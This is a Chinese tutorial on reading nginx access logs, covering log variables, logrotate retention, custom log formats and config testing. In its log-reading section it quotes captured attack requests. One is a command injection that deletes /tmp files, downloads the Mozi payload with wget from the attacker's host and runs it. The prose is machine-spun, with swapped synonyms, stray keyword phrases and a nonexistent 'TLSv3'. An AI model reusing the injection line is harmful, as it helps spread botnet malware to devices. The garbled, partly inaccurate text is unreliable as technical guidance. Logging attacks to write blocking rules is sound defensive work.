$request
恳求的URI和HTTP合同
GET/?p=187HTTP/1.1
$http_host
恳求地址,即浏览器中你输入的地址(IP或域名)
$status
HTTP恳求状态
200
$upstream_status
upstream状态
200
$body_bytes_sent
发送给顾客端文件内容大小
21893
$http_referer
url跳转来源
$http_user_agent
用户终端浏览器等信息
Mozilla/5.0(iPhone;CPUiPhoneOS15_2likeMacOSX;zh-cn)AppleWebKit/601.1.46(KHTML,likeGecko)Mobile/19C56Quark/5.4.9.1257Mobile
$http_x_forwarded_for
HTTP恳求端真实IP
若果是通过代理访问,那一般会是个空,输出的疗效就是:-
$ssl_protocol
SSL合同版本
TLSv3
$ssl_cipher
交换数据中的算法
RC4-SHA
$upstream_addr
后台upstream的地址,即真正提供服务的主机地址
也就是我们的服务器ip地址
$request_time
整个恳求的总时间
0.155
$upstream_response_time
恳求过程中,upstream响应时间
0.005
当我们弄明白了模板的参数意义深度linux,就可以阅读自己的access.log文件了。
2.2access.log
日志文档一般储存在:/var/log/nginx/目录下。诸如:
[root@iZuf ~]# cd /var/log/nginx/
[root@iZuf nginx]# ls
access.log access.log-20221023.gz error.log-20220927.gz error.log-20221024.gz
access.log-20220927.gz access.log-20221024.gz error.log-20220928.gz error.log-20221025.gz
access.log-20220928.gz access.log-20221025.gz error.log-20220929.gz error.log-20221026.gz
access.log-20220929.gz access.log-20221026.gz error.log-20220930.gz error.log-20221027.gz
access.log-20220930.gz access.log-20221027.gz error.log-20221001.gz error.log-20221028.gz
access.log-20221001.gz access.log-20221028.gz error.log-20221002.gz error.log-20221029.gz
access.log-20221002.gz access.log-20221029.gz error.log-20221003.gz error.log-20221030.gz
access.log-20221003.gz access.log-20221030.gz error.log-20221004.gz error.log-20221031.gz
access.log-20221004.gz access.log-20221031.gz error.log-20221005.gz error.log-20221101.gz
access.log-20221005.gz access.log-20221101.gz error.log-20221006.gz error.log-20221102.gz
access.log-20221006.gz access.log-20221102.gz error.log-20221007.gz error.log-20221103.gz
access.log-20221007.gz access.log-20221103.gz error.log-20221008.gz error.log-20221104.gz
access.log-20221008.gz access.log-20221104.gz error.log-20221009.gz error.log-20221105.gz
access.log-20221009.gz access.log-20221105.gz error.log-20221010.gz error.log-20221106.gz
access.log-20221010.gz access.log-20221106.gz error.log-20221011.gz error.log-20221107.gz
access.log-20221011.gz access.log-20221107.gz error.log-20221012.gz error.log-20221108.gz
access.log-20221012.gz access.log-20221108.gz error.log-20221013.gz error.log-20221109.gz
access.log-20221013.gz access.log-20221109.gz error.log-20221014.gz error.log-20221110.gz
access.log-20221014.gz access.log-20221110.gz error.log-20221015.gz error.log-20221111.gz

access.log-20221015.gz access.log-20221111.gz error.log-20221016.gz error.log-20221112.gz
access.log-20221016.gz access.log-20221112.gz error.log-20221017.gz error.log-20221113.gz
access.log-20221017.gz access.log-20221113.gz error.log-20221018.gz error.log-20221114.gz
access.log-20221018.gz access.log-20221114.gz error.log-20221019.gz error.log-20221115.gz
access.log-20221019.gz access.log-20221115.gz error.log-20221020.gz error.log-20221116.gz
access.log-20221020.gz access.log-20221116.gz error.log-20221021.gz error.log-20221117
access.log-20221021.gz access.log-20221117 error.log-20221022.gz
access.log-20221022.gz error.log error.log-20221023.gz
error.log是属于错误日志,这儿就先不解释了。我们主要看access.log日志
里面的access.log上面如今会实时记录当日的恳求,同时也会创建一个access.log-2022-11-17文件或许这个文件是复制的上三天的日志。
假如你想看当日的恳求日志,直接通过access.log文件进行查看就可以了。
假如想看之前一段时间的日志linux计划任务执行日志,就须要访问指定日期的gz压缩包,进行解压以后访问了。
比如前面的示例,我的日志文件记录了9月27日到11月17日这期间的日志。
当11月18日到来时,我的9月27日的日志将会被删掉。
PS:access.log日志默认缓存了4+31+16=51天+明天=52天的日志。
2.2.1配置日志保留时间
一般nginx的日志协程配置文件会储存在/etc/logrotate.d/nginx文件中。通过vim命令打开文件:vim/etc/logrotate.d/nginx可以看见下边
/var/log/nginx/*.log {
...
rotate 52
...
}
其中的rotate就是我们的日志保留时间了。诸如我的是52,我们可以按照自己的需求更改为其他整数日期。诸如15,30等天数。
更改完毕后,须要执行:
logrotate/etc/logrotate.d/nginx让配置生效。就可以了。
2.2.2日志阅读
日志文档的阅读方法有好多,可以在Linux通过cat命令或则vim命令进行阅读。也可以将log导入到本地linux怎么查看系统版本,通过各类文本工具进行阅读。
比如显著发动功击的:
183.232.170.216 - - [17/Nov/2022:03:32:19 +0800] "HEAD /1234.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /1.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /a.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /888.php HTTP/1.1" 301 0 "-" "-" "-"
183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] "HEAD /admin8.php HTTP/1.1" 301 0 "-" "-" "-"
还有一些是想通过注入执行的。诸如下边的想通过在传值中添加rm和rf指令,之后再通过wget执行下载:
115.62.157.248 - - [17/Nov/2022:16:22:18 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://115.62.157.248:55546/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 301 162 "-" "-" "-"
等等操作,你会发觉我们的服务器从上线发布以后,就有各类的功击在访问。
同时,也会有一些搜索浏览器的爬虫在不断抓取我们的网站。
PS:我们可以通过日志得到的一些信息,写拦截配置。这儿就不扩充介绍怎么写拦截配置了。以后会分享怎样配置自己的nginx拦截
2.3自定义日志Format格式
通过前面的剖析,我们可以晓得nginx默认的log日志有好多参数早已过时了,或则大几率取不到。比如$remote_user,$http_x_forwarded_for等数组。
比如我们自定义一下:
log_format main 'Status:$status,Bytes:$body_bytes_sent,IP:$remote_addr,Time:[$time_iso8601],Request:"$request" ,Referer:"$http_referer",UserAgent:"$http_user_agent",RequestTime:[$request_time]';
之后保存文档,执行nginx-t检查一下我们配置的命令有没有问题。假如返回isSuccessful就代表没有问题。诸如:
[root@iZuf nginx]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
假如输出:
[root@iZuf nginx]# nginx -t
nginx: [emerg] unknown "remote_addrm" variable
nginx: configuration file /etc/nginx/nginx.conf test failed
就说明有错误了,比如前面就提醒我,输入的一个错误的变量remote_addrmnginx没有这个变量。(PS:我前面的示例是对的,这儿只是介绍下倘若错误了回出现的情况。)
测量通过后,我们就可以执行:servicenginxreload刷新配置了。示例如下:
[root@iZuf nginx]# service nginx reload
Redirecting to /bin/systemctl reload nginx.service
[root@iZuf nginx]#
刷新过程中,不会影响后端的访问。等几秒过后,我们再阅读access.log文件就可以看见我们配置后格式的日志清单了。
3.小结
主要介绍了access的一些基本情况和日志内容的阅读。有好多工具可以帮我们手动阅读access.log文本,比如宝塔中的日志阅读linux计划任务执行日志,比如阿里云服务器的
日志服务等都可以一键式管理我们的日志数据,但是提供剖析报告。
这儿只是介绍了,怎么阅读日志。我们通过日志得到的ip,恳请等等逻辑,可以订制自己的拦截规则。降低和防范功击。